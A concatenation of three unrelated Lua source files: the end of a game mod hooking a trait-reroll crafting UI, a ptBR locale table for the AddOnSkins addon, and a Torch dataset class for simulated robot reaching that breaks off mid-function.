widget.offset[3] = 50
end
end)
--- Trait Rerolling ---
mod:hook_safe(CraftPageRollTrait, "_add_craft_item", function(self, backend_id)
mod:pcall(function()
if self._craft_items[1] and self._widgets_by_name["mod_trait"] then
local traits = Managers.backend:get_interface("items"):get_traits(self._craft_items[1])
self._widgets_by_name["mod_trait"].content.text = ""
local trait = traits[1]
if trait then
self._widgets_by_name["mod_trait"].content.text = Localize(WeaponTraits.traits[trait].display_name)
end
end
mod.last_backend_id = backend_id
end)
end)
mod:hook_safe(CraftPageRollTrait, "_remove_craft_item", function(self)
if not self._craft_items[1] and self._widgets_by_name["mod_trait"] then
self._widgets_by_name["mod_trait"].content.text = ""
mod.last_backend_id = nil
end
end)
mod:hook_safe(CraftPageRollTrait, "on_craft_completed", function(self)
local item_interface = Managers.backend:get_interface("items")
if item_interface:get_item_from_id(mod.last_backend_id) then
self:_add_craft_item(mod.last_backend_id)
end
end)
mod:hook_safe(CraftPageRollTrait, "create_ui_elements", function(self)
local widgets = self._widgets
local widgets_by_name = self._widgets_by_name
local text_definition = UIWidgets.create_simple_text("", "recipe_grid", nil, nil, mod.property_text_style)
local widget = UIWidget.init(text_definition)
widgets[#widgets + 1] = widget
widgets_by_name["mod_trait"] = widget
widget.offset[1] = -5
widget.offset[2] = 73
widget.offset[3] = 50
end)
|
local ASL = LibStub("AceLocale-3.0"):NewLocale("AddOnSkins", "ptBR")
if not ASL then return end
ASL["About/Help"] = true
ASL["AddOn Skins"] = true
ASL["Attach CoolLine to action bar"] = true
ASL["Attach SexyCD to action bar"] = true
ASL["Auction House"] = true
ASL["Available Skins / Skin Requests"] = true
ASL["BigWigs Half-Bar"] = true
ASL["Blizzard Skins"] = true
ASL["Changelog Link"] = true
ASL["Credits"] = true
ASL["Credits:"] = true
ASL["DBM Transparent Radar"] = true
ASL["DBM Half-Bar Skin Spacing looks wrong. How can I fix it?"] = true
ASL["DBM Font Flag"] = true
ASL["DBM Font Size"] = true
ASL["DBM Font"] = true
ASL["DBM Half-bar Skin"] = true
ASL["Details Backdrop"] = true
ASL["Download Link"] = true
ASL["Embed Below Top Tab"] = true
ASL["Embed for One Window"] = true
ASL["Embed Frame Level"] = true
ASL["Embed Frame Strata"] = true
ASL["Embed into Right Chat Panel"] = true
ASL["Embed OoC Delay"] = true
ASL["Embed Settings"] = true
ASL["Embed System Message"] = true
ASL["Embed Transparancy"] = true
ASL["Enable Skin Debugging"] = true
ASL["FAQ's"] = true
ASL["GitLab Link / Report Errors"] = true
ASL["Hide Chat Frame"] = true
ASL["Left Click to Show"] = true
ASL["Left Click:"] = true
ASL["Links"] = true
ASL["Login Message"] = true
ASL["|cffff7d0aMerathilisUI|r Styling"] = true
ASL["MONOCHROME"] = true
ASL["MONOCHROMEOUTLINE"] = true
ASL["None"] = true
ASL["Omen Backdrop"] = true
ASL["One Window Embed System"] = true
ASL["Out of Combat (Hide)"] = true
ASL["OUTLINE"] = true
ASL["Parchment"] = true
ASL["Recount Backdrop"] = true
ASL["Right Click to Hide"] = true
ASL["Right Click:"] = true
ASL["Settings to control Embedded AddOns:\n\nAvailable Embeds: Details | Omen | Skada | Recount | TinyDPS"] = true
ASL["Skada Backdrop"] = true
ASL["Skin Template"] = true
ASL["THICKOUTLINE"] = true
ASL["To use the DBM Half-Bar skin. You must change the DBM Options. Offset Y needs to be at least 15."] = true
ASL["Two Window Embed System"] = true
ASL["Version"] = true
ASL["WeakAura AuraBar"] = true
ASL["WeakAura Cooldowns"] = true
ASL["Window One Embed"] = true
ASL["Window One Width"] = true
ASL["Window Two Embed"] = true
ASL['Enable/Disable this embed.'] = true
ASL['Enable/Disable this option.'] = true
ASL['Enable/Disable this skin.\nThis requires a reload to take effect.'] = true
ASL['Reset Settings'] = true
ASL['This option will toggle the corresponding ElvUI option.'] = true
ASL['Toggle Embedded AddOn'] = true
ASL['Toggle Left Chat Panel'] = true
ASL['Toggle Options'] = true
ASL['Toggle Right Chat Panel'] = true
|
--[[ File
@description:
This class is for generating different datasets.
@version: V0.02
@author: Fangyi Zhang email:gzzhangfangyi@gmail.com
@acknowledgement:
ARC Centre of Excellence for Robotic Vision (ACRV)
Queensland Univsersity of Technology (QUT)
@history:
V0.00 07/06/2017 developed the first version
V0.01 11/06/2017 fixed the bug of not deeply copying the table in the dataset
V0.02 19/06/2017 made compatible to end-to-end reaching with a complex network
V0.03 14/05/2019 removed the reliance on interface_vrep in offline mode
]]
require 'torch'
-- require 'common/interface_vrep'
require 'image'
-- local interface_vrep = require 'common/interface_vrep'
-- local reward_functions_picking = require 'reward/reward_functions_picking'
-- construct a class
local dctrl = torch.class('dataset_ctrl')
--[[ Function
@description: initialize an object for manipulation simulation
@input:
args: settings for a manipulation simulation object
@output: nil
@notes:
]]
function dctrl:__init(args)
-- vrep setup
self.syn_mode = args.syn_mode or false
self.sim_step = args.sim_step or 50 -- 50 ms
self.image_format = args.image_format or 'Grey'
self.image_res = args.image_res or {300,300}
self.online_mode = args.online_mode or false
self.max_step = args.max_step or 400
self.left_joint_position = {0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0}
self.right_joint_position = {0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0}
self.left_joint_velocity = {0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0}
self.right_joint_velocity = {0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0}
-- Settings for Clutters
self.clutters = args.clutters or {'Baseball','Block','Crayons','Dove','Eraser','EraserPack','Note1','RubCube','UQBall'}
self.clutters_h = args.clutters_h or {0.0375,0.01,0.0125,0.0175,0.03,0.0175,0.005,0.029,0.03}
self.n_clutters = #self.clutters
-- Initialize vrep
if self.online_mode then
require 'common/interface_vrep'
self:initVREP(args)
else
if args.dataset then
-- Load pre-generated datasets
self.dataset = self:load_pre_constructed_dataset(args.dataset)
-- Decide whether the dataset satisfies current accuracy requirements
if self.image_res[1] == 400 then
self.dataset_image = self.dataset.image400
else
self.dataset_image = self.dataset.image300
-- self.dataset_image = self.dataset.image
-- if self.dataset_image == nil then
-- self.dataset_image = self.dataset.image300
-- end
end
if self.dataset_image == nil then
self.dataset_image = self.dataset.image
end
self.dataset_label = self.dataset.label
if self.dataset_label == nil then
self.dataset_label = self.dataset.object_position
end
self.dataset_s = self.dataset.low_dim_s_e
if self.dataset_s == nil then
self.dataset_s = self.dataset.low_dim_s
end
self.dataset_vel = self.dataset.vel
self.dataset_position = self.dataset.object_position
self.dataset_arm_pose = self.dataset.arm_pose
self.dataset_L = self.dataset.distance_e2t
self.dataset_sample_amount = self.dataset.sample_amount
io.flush()
collectgarbage()
end
end
if args.extra_dataset then
-- Load pre-generated datasets
self.extra_dataset = self:load_pre_constructed_dataset(args.extra_dataset)
-- Decide whether the dataset satisfies current accuracy requirements
if self.image_res[1] == 400 then
self.extra_dataset_image = self.extra_dataset.image400
else
self.extra_dataset_image = self.extra_dataset.image
if self.extra_dataset_image == nil then
self.extra_dataset_image = self.extra_dataset.image300
end
end
self.extra_dataset_label = self.extra_dataset.label
if self.extra_dataset_label == nil then
self.extra_dataset_label = self.extra_dataset.object_position
end
self.extra_dataset_sample_amount = self.extra_dataset.sample_amount
io.flush()
collectgarbage()
end
if args.real_dataset then
-- Load pre-generated datasets
self.real_dataset = self:load_pre_constructed_dataset(args.real_dataset)
-- Decide whether the dataset satisfies current accuracy requirements
self.real_dataset_image = self.real_dataset.image
self.real_dataset_label = self.real_dataset.object_position
self.real_dataset_vel = self.real_dataset.vel
self.real_dataset_arm_pose = self.real_dataset.arm_pose
self.real_dataset_s = self.real_dataset.low_dim_s_e
self.real_dataset_sample_amount = self.real_dataset.sample_amount
io.flush()
collectgarbage()
end
if args.e2e_dataset then
-- Load pre-generated datasets
self.e2e_dataset = self:load_pre_constructed_dataset(args.e2e_dataset)
-- Decide whether the dataset satisfies current accuracy requirements
self.e2e_dataset_image = self.e2e_dataset.image300
self.e2e_dataset_label = self.e2e_dataset.object_position
self.e2e_dataset_vel = self.e2e_dataset.vel
self.e2e_dataset_arm_pose = self.e2e_dataset.arm_pose
self.e2e_dataset_s = self.e2e_dataset.low_dim_s_e
self.e2e_dataset_sample_amount = self.e2e_dataset.sample_amount
io.flush()
collectgarbage()
end
if args.e2e_real_dataset then
-- Load pre-generated datasets
self.e2e_real_dataset = self:load_pre_constructed_dataset(args.e2e_real_dataset)
-- Decide whether the dataset satisfies current accuracy requirements
self.e2e_real_dataset_image = self.e2e_real_dataset.image
self.e2e_real_dataset_label = self.e2e_real_dataset.object_position
self.e2e_real_dataset_vel = self.e2e_real_dataset.vel
self.e2e_real_dataset_arm_pose = self.e2e_real_dataset.arm_pose
self.e2e_real_dataset_s = self.e2e_real_dataset.low_dim_s_e
self.e2e_real_dataset_sample_amount = self.e2e_real_dataset.sample_amount
io.flush()
collectgarbage()
end
if args.test_dataset then
-- Load pre-generated datasets
self.test_dataset = self:load_pre_constructed_dataset(args.test_dataset)
-- Decide whether the dataset satisfies current accuracy requirements
self.test_dataset_image = self.test_dataset.image
self.test_dataset_label = self.test_dataset.object_position
self.test_dataset_vel = self.test_dataset.vel
self.test_dataset_arm_pose = self.test_dataset.arm_pose
self.test_dataset_s = self.test_dataset.low_dim_s_e
self.test_dataset_sample_amount = self.test_dataset.sample_amount
io.flush()
collectgarbage()
end
-- Task parameters
self.weighted_losses = args.weighted_losses or false
self.ctrl_mode = args.ctrl_mode or 'position'
print("Control Mode: ", self.ctrl_mode)
self.ctrl_freq_t = args.ctrl_freq_t or 50 -- 50 ms
self.n_sim_one_ctrl = math.floor(self.ctrl_freq_t / self.sim_step)
self.target_constant = args.target_constant or nil
self.pose_constant = args.pose_constant or false
self.target_region_x = 0.725
self.target_region_y = 0.8
self.safe_edge = 0.3 --0.05
self.target_z = 0.025
self.left_arm_init_pose = args.left_arm_init_pose or {-0.4,0.2,-0.5,0.3,-0.8,0.6,0} -- initial joint pose of an arm (rad)
self.right_arm_init_pose = args.right_arm_init_pose or {-0.3,-1.3,1,1.1,0.4,1.8,-1.57} -- initial joint pose of an arm (rad)
self.n_joint = args.n_joint or #self.left_arm_init_pose
-- self.target, self.left_joint_position = self:initScene()
self.joint_pose_max = args.joint_pose_max or {1.702, 1.048, 3.055, 2.619, 3.060, 2.095, 3.060}
self.joint_pose_min = args.joint_pose_min or {-1.702, -2.148, -3.055, -0.06, -3.060, -1.571, -3.060}
self.target_pose_max = args.target_pose_max or {1.019, 0.6617, 0.4584}
self.target_pose_min = args.target_pose_min or {0.419, 0.1367, 0.3084}
self.target_max = args.target_max or {1.019, 0.6617, 0.4584}
self.target_min = args.target_min or {0.419, 0.1367, 0.3084}
self.camera_pose_range = args.camera_pose_range or 0.02
self.table_position = args.table_position or {0.635, 0.15, 0.75}
self.table_position_range = args.table_position_range or {0.03, 0.1, 0.02}
self.table_orientation = args.table_orientation or {0.0, 0.0, 1.57}
self.table_orientation_range = args.table_orientation_range or {0.0, 0.0, 0.14}
-- Training Settings
self.add_noise = args.add_noise or false
self.noisy_prob = args.noisy_prob or 1
self.upper_plane = args.upper_plane or false
self.target_h = args.target_h or 0.0325
if self.upper_plane then
self.target_pose_min[3] = self.target_pose_min[3] + self.target_h
self.target_pose_max[3] = self.target_pose_max[3] + self.target_h
end
-- Print parameters
self:report()
-- self:setArmTargetPose('right',{-0.3,-1.3,1,1.1,0.4,1.8,-1.57})
end
-- Print parameters
function dctrl:report()
print("=========== Parameters ============")
print("Camera Arm Pose: ", torch.Tensor(self.right_arm_init_pose))
print("Left Arm Initial Pose: ", torch.Tensor(self.left_arm_init_pose))
print("Image Format: ", self.image_format)
print("Image Resolution: ", torch.Tensor(self.image_res))
print("Target Min: ", torch.Tensor(self.target_pose_min))
print("Target Max: ", torch.Tensor(self.target_pose_max))
print("Camera Pose Range: ", self.camera_pose_range)
print("Table Position: ", torch.Tensor(self.table_position))
print("Table Orientation: ", torch.Tensor(self.table_orientation))
print("Table Position Range: ", torch.Tensor(self.table_position_range))
print("Table Orientation Range: ", torch.Tensor(self.table_orientation_range))
print("Whether Add Noise: ", self.add_noise)
print("Noise Prob: ", self.noisy_prob)
print("Whether Use Upper Plane: ", self.upper_plane)
print("Target Height: ", self.target_h)
print("Max Step: ", self.max_step)
print("===================================")
end
-- Initialize vrep
function dctrl:initVREP(args)
self.vrep = interface_vrep{vrep_app=args.vrep_app,
vrep_scene=args.vrep_scene,
debug_mode=args.debug_mode,
syn_mode=self.syn_mode,
connTimeout=-20000}
-- Get object handle
self:getObjectHandles()
-- Get distancd handle
self:getDistanceHandles()
-- Get collision handle
self:getCollisionHandles()
-- Init Cameras
self:initStreams()
-- Get arm states
self:getArmPose()
end
-- Get object handles
function dctrl:getObjectHandles()
-- Cameras
-- self.head_kinect_rgb = self:getObjectHandle('kinect_rgb_head')
-- self.head_kinect_depth = self:getObjectHandle('kinect_depth_head')
-- self.right_kinect_rgb = self:getObjectHandle('kinect_rgb')
-- self.right_kinect_depth = self:getObjectHandle('kinect_depth')
self.head_camera = self.vrep:getObjectHandle('Baxter_camera')
self.right_camera = self.vrep:getObjectHandle('Baxter_rightArm_camera')
self.left_camera = self.vrep:getObjectHandle('Baxter_leftArm_camera')
-- Arms
self.left_joint_handle = {}
self.right_joint_handle = {}
for i=1,7 do
self.left_joint_handle[i] = self.vrep:getObjectHandle('Baxter_leftArm_joint' .. i)
self.right_joint_handle[i] = self.vrep:getObjectHandle('Baxter_rightArm_joint' .. i)
end
-- Objects
self.table_top = self.vrep:getObjectHandle('customizableTable_tableTop')
self.table = self.vrep:getObjectHandle('customizableTable')
self.cuboid = self.vrep:getObjectHandle('Cuboid')
self.robot_base = self.vrep:getObjectHandle('Baxter_base_visible')
self.left_gripper = self.vrep:getObjectHandle('BaxterVacuumCup_link')
self.clutters_handles = {}
for i=1,self.n_clutters do
self.clutters_handles[i] = self.vrep:getObjectHandle(self.clutters[i])
end
-- self.ball = self.vrep:getObjectHandle('Sphere')
-- self.cup = self.vrep:getObjectHandle('Cup')
end
-- Get collision handles
function dctrl:getCollisionHandles()
self.collision_arm_handle = self.vrep:getCollisionHandle('Collision_leftArm')
self.collision_cuboid_handle = self.vrep:getCollisionHandle('Collision_cuboid')
end
-- Get distance handles
function dctrl:getDistanceHandles()
self.distance_e2t_handle = self.vrep:getDistanceHandle('Distance_e2t')
end
-- Init streaming signals
function dctrl:initStreams()
local rs = self.vrep:initDistanceDetect(self.distance_e2t_handle)
rs = self.vrep:initCollisionDetect(self.collision_arm_handle)
rs = self.vrep:initCollisionDetect(self.collision_cuboid_handle)
if self.image_format == 'RGB' then
rs = self.vrep:initRGBCamera(self.right_camera)
else
rs = self.vrep:initGreyCamera(self.right_camera)
end
end
-- Get arm pose
function dctrl:getArmPose(arm)
if arm == 'left' then
for i=1,7 do
self.left_joint_position[i] = self.vrep:getJointPosition(self.left_joint_handle[i])
end
return self.left_joint_position
elseif arm == 'right' then
for i=1,7 do
self.right_joint_position[i] = self.vrep:getJointPosition(self.right_joint_handle[i])
end
return self.right_joint_position
else
for i=1,7 do
self.left_joint_position[i] = self.vrep:getJointPosition(self.left_joint_handle[i])
self.right_joint_position[i] = self.vrep:getJointPosition(self.right_joint_handle[i])
end
return self.left_joint_position, self.right_joint_position
end
end
-- Set desired arm pose
function dctrl:setArmTargetPose(arm, pos)
if arm == 'left' then
for i=1,7 do
self.vrep:setJointPosition(self.left_joint_handle[i], pos[i])
end
elseif arm == 'right' then
for i=1,7 do
self.vrep:setJointPosition(self.right_joint_handle[i], pos[i])
end
else
for i=1,7 do
self.vrep:setJointPosition(self.left_joint_handle[i], pos[i])
self.vrep:setJointPosition(self.right_joint_handle[i], pos[i])
end
end
end
-- Get the velocity of all joints in an arm
function dctrl:getArmVelocity(arm)
if arm == 'left' then
for i=1,7 do
self.left_joint_velocity[i] = self.vrep:getJointVelocity(self.left_joint_handle[i])
end
return self.left_joint_velocity
elseif arm == 'right' then
for i=1,7 do
self.right_joint_velocity[i] = self.vrep:getJointVelocity(self.right_joint_handle[i])
end
return self.right_joint_velocity
else
for i=1,7 do
self.left_joint_velocity[i] = self.vrep:getJointVelocity(self.left_joint_handle[i])
self.right_joint_velocity[i] = self.vrep:getJointVelocity(self.right_joint_handle[i])
end
return self.left_joint_velocity, self.right_joint_velocity
end
end
-- Set target velocities of all joints in an arm
function dctrl:setArmVelocity(arm, vel)
if arm == 'left' then
for i=1,7 do
self.vrep:setJointVelocity(self.left_joint_handle[i], vel[i])
end
elseif arm == 'right' then
for i=1,7 do
self.vrep:setJointVelocity(self.right_joint_handle[i], vel[i])
end
else
for i=1,7 do
self.vrep:setJointVelocity(self.left_joint_handle[i], vel[i])
self.vrep:setJointVelocity(self.right_joint_handle[i], vel[i])
end
end
end
-- Collect monitoring information
function dctrl:getMeasurements()
self.distance_e2t = self.vrep:detectDistance(self.distance_e2t_handle)
self:getArmPose('left')
-- self.vrep:getArmVelocity('left')
local collision = false
local collision_, reached = self:detectCollisions()
if collision_ and not reached then
collision = true
end
return collision, reached
end
-- Detect the termination of one trial and whether a target is reached
function dctrl:detectCollisions()
local target_reached = false
local terminate = false
self.collision_arm = self.vrep:detectCollision(self.collision_arm_handle)
if self.collision_arm then
terminate = true
self.collision_cub = self.vrep:detectCollision(self.collision_cuboid_handle)
-- self.distance_e2t = self.vrep:detectDistance(self.distance_e2t_handle)
if self.collision_cub then
target_reached = true
end
end
-- print(terminate, target_reached)
return terminate, target_reached
end
-- One control step
function dctrl:oneControlStep()
-- detection
-- local collision = false
-- local reached =false
-- local collision_
if self.syn_mode then
for i=1,self.n_sim_one_ctrl do
self.vrep:stepsForward(1)
-- print("Forard 1 step!!!!")
-- if detect_collision then
-- collision_, reached = self:detectCollisions()
-- if collision_ and not reached then
-- collision = true
-- end
-- end
-- print("Simulation Time: ", self.vrep:getSimTime())
end
end
-- return collision, reached
end
-- Speed control mode
function dctrl:ctrlSpeedContinuous(vel)
self:setArmVelocity('left', vel)
self:oneControlStep()
end
-- Initialize a random scene
function dctrl:initScene()
-- local rs = self.vrep:setImageRendering(false)
if self.ctrl_mode ~= 'position' then
self.vrep:enableJointPositionCtrl()
end
local pose = self:initArmPose()
local target = self:generateRandTarget()
local desired_pose = self.vrep:getDesiredConfig(0.2)
pose = self:generateRandPose(pose, desired_pose)
for i=1,100 do
if desired_pose~=nil then
if #desired_pose~=0 then
-- print("*******",i)
break
end
end
target = self:generateRandTarget()
desired_pose = self.vrep:getDesiredConfig(0.2)
end
self.collision = false
self.reached = false
-- rs = self.vrep:setImageRendering(true)
if self.ctrl_mode ~= 'position' then
self.vrep:enableJointVelocityCtrl()
end
return target, pose, desired_pose
end
-- Get config for a target position
function dctrl:getTargetConfig(target_pos)
-- self.vrep:setObjectOrientation(self.cuboid, self.robot_base, {0.0,0.0,0.0})
self.vrep:setObjectPosition(self.cuboid, self.robot_base, target_pos)
local desired_pose = self.vrep:getDesiredConfig(0.2)
-- for i=1,100 do
-- if desired_pose~=nil then
-- if #desired_pose~=0 then
-- -- print("*******",i)
-- break
-- end
-- end
-- desired_pose = self.vrep:getDesiredConfig(0.2)
-- end
-- self.vrep:setObjectOrientation(self.cuboid, self.table_top, {0.0,0.0,0.0})
self.vrep:setObjectPosition(self.cuboid, self.robot_base, self.target)
return desired_pose
end
-- Generate a random target
function dctrl:generateRandTarget()--, joints_range)
local target
if self.target_constant then
target = table.copy(self.target_constant)
else
self.target_x = self.safe_edge + torch.rand(1)[1] * (self.target_region_x - 2 * self.safe_edge)
self.target_y = self.safe_edge + torch.rand(1)[1] * (self.target_region_y - 2 * self.safe_edge) - 0.5 * self.target_region_y
target = {self.target_x, self.target_y, self.target_z}
end
self.vrep:setObjectOrientation(self.cuboid, self.table_top, {0.0,0.0,0.0})
self.vrep:setObjectPosition(self.cuboid, self.table_top, target)
target = self.vrep:getObjectPosition(self.cuboid, self.robot_base)
for i=1,100 do
if target then
break
end
target = self.vrep:getObjectPosition(self.cuboid, self.robot_base)
end
return target
end
-- Initialize the arm to an initial pose
function dctrl:initArmPose()
local pose = table.copy(self.left_arm_init_pose)
-- local pose = self.left_arm_init_pose
self:setArmTargetPose('left',pose)
-- Wait the arm gets to the desired pose
if self.syn_mode then
self.vrep:stepsForward()
end
local vel = self:getArmVelocity('left')
local sum_vel = torch.Tensor(vel):abs():sum()
while sum_vel > 0.01 do
if self.syn_mode then
self.vrep:stepsForward(10)
end
vel = self:getArmVelocity('left')
sum_vel = torch.Tensor(vel):abs():sum()
end
return pose
end
-- Generate a random arm pose
function dctrl:generateRandPose(pose, desired_pose)
if self.pose_constant then
return pose
else
local rand_pose = {}
for k=1,10 do
for i=1,self.n_joint do
rand_pose[i] = pose[i] + torch.uniform() * (desired_pose[i] - pose[i])
end
self:setArmTargetPose('left',rand_pose)
-- Wait the arm gets to the desired pose
if self.syn_mode then
self.vrep:stepsForward()
end
local vel = self:getArmVelocity('left')
local sum_vel = torch.Tensor(vel):abs():sum()
for k=1,100 do
-- while sum_vel > 0.01 do
if self.syn_mode then
self.vrep:stepsForward(10)
end
vel = self:getArmVelocity('left')
sum_vel = torch.Tensor(vel):abs():sum()
if sum_vel < 0.01 then
-- print(k)
break
end
end
local collision_, reached = self:detectCollisions()
print("Rand: ", k)
if not collision_ and not reached then
break
end
end
return rand_pose
end
end
--[[ Function
@description: add random noises on an image tensor (uniform noises)
@input:
image_: an image tensor where the noises will be added
scale: the value range of the noises, i.e., 0.2 (-0.1~0.1)
@output:
image_: the image tensor added with noises
@notes:
]]
function dctrl:addRandomNoises(image_, scale)
image_ = torch.rand(image_:size()):add(-0.5):mul(scale):add(image_)
return image_
end
-- Normalize low dimensional features
function dctrl:outputLowDimTensor(arm_pose, destin)
local state = {}
if arm_pose then
-- Integrate arm pose features
for i=1, self.n_joint do
state[i] = (arm_pose[i] - self.joint_pose_min[i]) / (self.joint_pose_max[i] - self.joint_pose_min[i])
end
end
-- Integrate destination pose features
if destin then
local destin_dim = #destin
local pos_dim = #state
for i=1, destin_dim do
local diff = self.target_pose_max[i] - self.target_pose_min[i]
if diff ~= 0 then
state[pos_dim+i] = (destin[i] - self.target_pose_min[i]) / diff
else
state[pos_dim+i] = destin[i]
end
end
end
local state_ = torch.Tensor(state)
-- print(state_)
return state_
end
-- Recover normalized low-dim features to their original values
function dctrl:recoverLowDimTensor(state)
local state = state:clone()
local n = state:size(1)
-- Recover destination pose features
for i=1, n do
state[i] = state[i] * (self.target_pose_max[i] - self.target_pose_min[i]) + self.target_pose_min[i]
end
return state
end
function dctrl:varying_white_balance(im)
local im_r = im:select(1, 1)
local im_g = im:select(1, 2)
local im_b = im:select(1, 3)
local var_scalar = 0.05
im_r:mul(1 + 2 * var_scalar * (torch.uniform() - 0.5))
im_g:mul(1 + 2 * var_scalar * (torch.uniform() - 0.5))
im_b:mul(1 + 2 * var_scalar * (torch.uniform() - 0.5))
im = torch.clamp(im,0,1)
return im
end
-- Normalize images to the ranges [-1,1]
function dctrl:image_normalization(im_)
-- -- Nor1
-- local im_nored = image.minmax{tensor=im_}
--
-- -- Nor2
-- im_nored:mul(2):add(-1)
--
-- return im_nored
-- Nor3
-- im_:mul(2):add(-1)
return im_
end
-- Get one sample from a dataset
function dctrl:get_one_sample_L()
-- Randomly select a sample from the dataset
local index = 1 + math.floor(self.dataset_sample_amount * torch.rand(1)[1])
if index > self.dataset_sample_amount then
index = self.dataset_sample_amount
end
local image_ = self.dataset_image[index]:clone()
local arm_pose_ = table.copy(self.dataset_arm_pose[index])
local arm_pose_nml = self:outputLowDimTensor(arm_pose_,nil)
local L = self.dataset_L[index]
-- local arm_pose = table.copy(self.dataset_arm_pose[index])
-- local label = self.dataset.label[index]:clone()
-- local end_effector = {self.dataset.end_effector[index][1], self.dataset.end_effector[index][2]}
-- Add some noisy factors
if self.add_noise then
if torch.uniform() < self.noisy_prob then
image_ = self:varying_white_balance(image_)
end
-- Brightness
if torch.uniform() < self.noisy_prob then
--Change brightness by changing the v in hsv sapce
local im_hsv = image.rgb2hsv(image_)
local im_v = im_hsv:select(1, 3)
im_v:mul(1+1.6*(torch.uniform()-0.5))
image_ = image.hsv2rgb(im_hsv)
image_ = torch.clamp(image_,0,1)
end
-- -- Rotation
-- if torch.rand(1)[1] < self.noisy_prob then
-- image_ = image.rotate(image_, 0.2*(torch.rand(1)[1]-0.5))
-- noise_added = true
-- end
-- -- Offset
-- if torch.rand(1)[1] < self.noisy_prob then
-- image_ = image.translate(image_, 10*(torch.rand(1)[1]-0.5), 10*(torch.rand(1)[1]-0.5))
-- noise_added = true
-- end
-- -- White noise
-- if torch.rand(1)[1] < self.noisy_prob then
-- image_ = self:addRandomNoises(image_, 0.01)
-- noise_added = true
-- end
end
image_ = self:image_normalization(image_)
-- if self.upper_plane then
-- -- print("Centre: ", torch.Tensor(label))
-- position[3] = position[3] + self.target_h
-- -- print("Upper Plane: ", torch.Tensor(label))
-- end
return image_, arm_pose_nml, L
end
function dctrl:get_batch_L(size)
local s_set = torch.Tensor(size, 3, unpack(self.image_res))
local s_q_set = torch.Tensor(size, 7)
local l_set = torch.Tensor(size, 1)
-- local sim_size = size
-- if self.real_dataset and not self.weighted_losses then
-- sim_size = math.floor(0.125 * size)
-- -- sim_size = 0
-- end
for i=1,size do
-- Get the sample corresponding to current arm pose
local image_, arm_pose_nml, loss = self:get_one_sample_L()
-- if i > sim_size then
-- image_, position, low_dim_s, vel = self:get_one_sample_e2e_real()
-- else
-- image_, position, low_dim_s, vel = self:get_one_sample_e2e()
-- end
s_set[i] = image_
s_q_set[i] = arm_pose_nml
l_set[i] = torch.Tensor({loss})
end
return {s_q_set, s_set}, l_set
end
-- Get one sample from a dataset
function dctrl:get_one_sample()
-- Randomly select a sample from the dataset
local index = 1 + math.floor(self.dataset_sample_amount * torch.rand(1)[1])
if index > self.dataset_sample_amount then
index = self.dataset_sample_amount
end
local image_ = self.dataset_image[index]:clone()
local label = table.copy(self.dataset_label[index])
-- local label = self.dataset.label[index]:clone()
-- local end_effector = {self.dataset.end_effector[index][1], self.dataset.end_effector[index][2]}
-- Add some noisy factors
if self.add_noise then
-- Brightness
if torch.uniform() < self.noisy_prob then
image_ = self:varying_white_balance(image_)
end
if torch.uniform() < self.noisy_prob then
-- -- Change brightness by scaling RGB
-- image_ = image_:mul(1+0.8*(torch.rand(1)[1]-0.95))
--Change brightness by changing the v in hsv sapce
local im_hsv = image.rgb2hsv(image_)
local im_v = im_hsv:select(1, 3)
im_v:mul(1+1.6*(torch.uniform()-0.5))
image_ = image.hsv2rgb(im_hsv)
image_ = torch.clamp(image_,0,1)
end
-- -- Rotation
-- if torch.rand(1)[1] < self.noisy_prob then
-- image_ = image.rotate(image_, 0.2*(torch.rand(1)[1]-0.5))
-- noise_added = true
-- end
-- -- Offset
-- if torch.rand(1)[1] < self.noisy_prob then
-- image_ = image.translate(image_, 10*(torch.rand(1)[1]-0.5), 10*(torch.rand(1)[1]-0.5))
-- noise_added = true
-- end
-- -- White noise
-- if torch.rand(1)[1] < self.noisy_prob then
-- image_ = self:addRandomNoises(image_, 0.01)
-- noise_added = true
-- end
end
image_ = self:image_normalization(image_)
if self.upper_plane then
-- print("Centre: ", torch.Tensor(label))
label[3] = label[3] + self.target_h
-- print("Upper Plane: ", torch.Tensor(label))
end
return image_, label
end
-- Get one sample from a dataset
function dctrl:get_one_test_sample()
-- Randomly select a sample from the dataset
local index = 1 + math.floor(self.test_dataset_sample_amount * torch.rand(1)[1])
if index > self.test_dataset_sample_amount then
index = self.test_dataset_sample_amount
end
local image_ = self.test_dataset_image[index]:clone()
local label = table.copy(self.test_dataset_label[index])
-- local label = self.dataset.label[index]:clone()
-- local end_effector = {self.dataset.end_effector[index][1], self.dataset.end_effector[index][2]}
-- Add some noisy factors
if self.add_noise then
-- Brightness
if torch.uniform() < self.noisy_prob then
image_ = self:varying_white_balance(image_)
end
if torch.uniform() < self.noisy_prob then
--Change brightness by changing the v in hsv sapce
local im_hsv = image.rgb2hsv(image_)
local im_v = im_hsv:select(1, 3)
im_v:mul(1+1.6*(torch.uniform()-0.5))
image_ = image.hsv2rgb(im_hsv)
image_ = torch.clamp(image_,0,1)
end
-- -- Rotation
-- if torch.rand(1)[1] < self.noisy_prob then
-- image_ = image.rotate(image_, 0.2*(torch.rand(1)[1]-0.5))
-- noise_added = true
-- end
-- -- Offset
-- if torch.rand(1)[1] < self.noisy_prob then
-- image_ = image.translate(image_, 10*(torch.rand(1)[1]-0.5), 10*(torch.rand(1)[1]-0.5))
-- noise_added = true
-- end
-- -- White noise
-- if torch.rand(1)[1] < self.noisy_prob then
-- image_ = self:addRandomNoises(image_, 0.01)
-- noise_added = true
-- end
end
image_ = self:image_normalization(image_)
if self.upper_plane then
-- print("Centre: ", torch.Tensor(label))
label[3] = label[3] + self.target_h
-- print("Upper Plane: ", torch.Tensor(label))
end
return image_, label
end
-- Get a batch with a certain size from a dataset
function dctrl:get_batch(size)
-- TODO: make the initialization of s_set and l_set autonomous
local s_set = torch.Tensor(size, 3, unpack(self.image_res))
local l_set = torch.Tensor(size, 3)
local sim_size = size
if self.real_dataset then
-- sim_size = math.floor(0.5 * size)
-- sim_size = math.floor(0.25 * size)
sim_size = 0
end
for i=1,size do
-- Get the sample corresponding to current arm pose
local image_, label
if i > sim_size then
image_, label = self:get_one_sample_real()
else
image_, label = self:get_one_sample()
end
-- Generate low dimensional features
local low_dim_features = self:outputLowDimTensor(nil, label)
s_set[i] = image_
l_set[i] = low_dim_features
end
return s_set, l_set
end
-- Get a batch with a certain size from a dataset
-- For the case of using an auto-encoder for unsupervised domain adaptation
function dctrl:get_batch_auto(size)
-- TODO: make the initialization of s_set and l_set autonomous
local sim_size = size
if self.real_dataset then
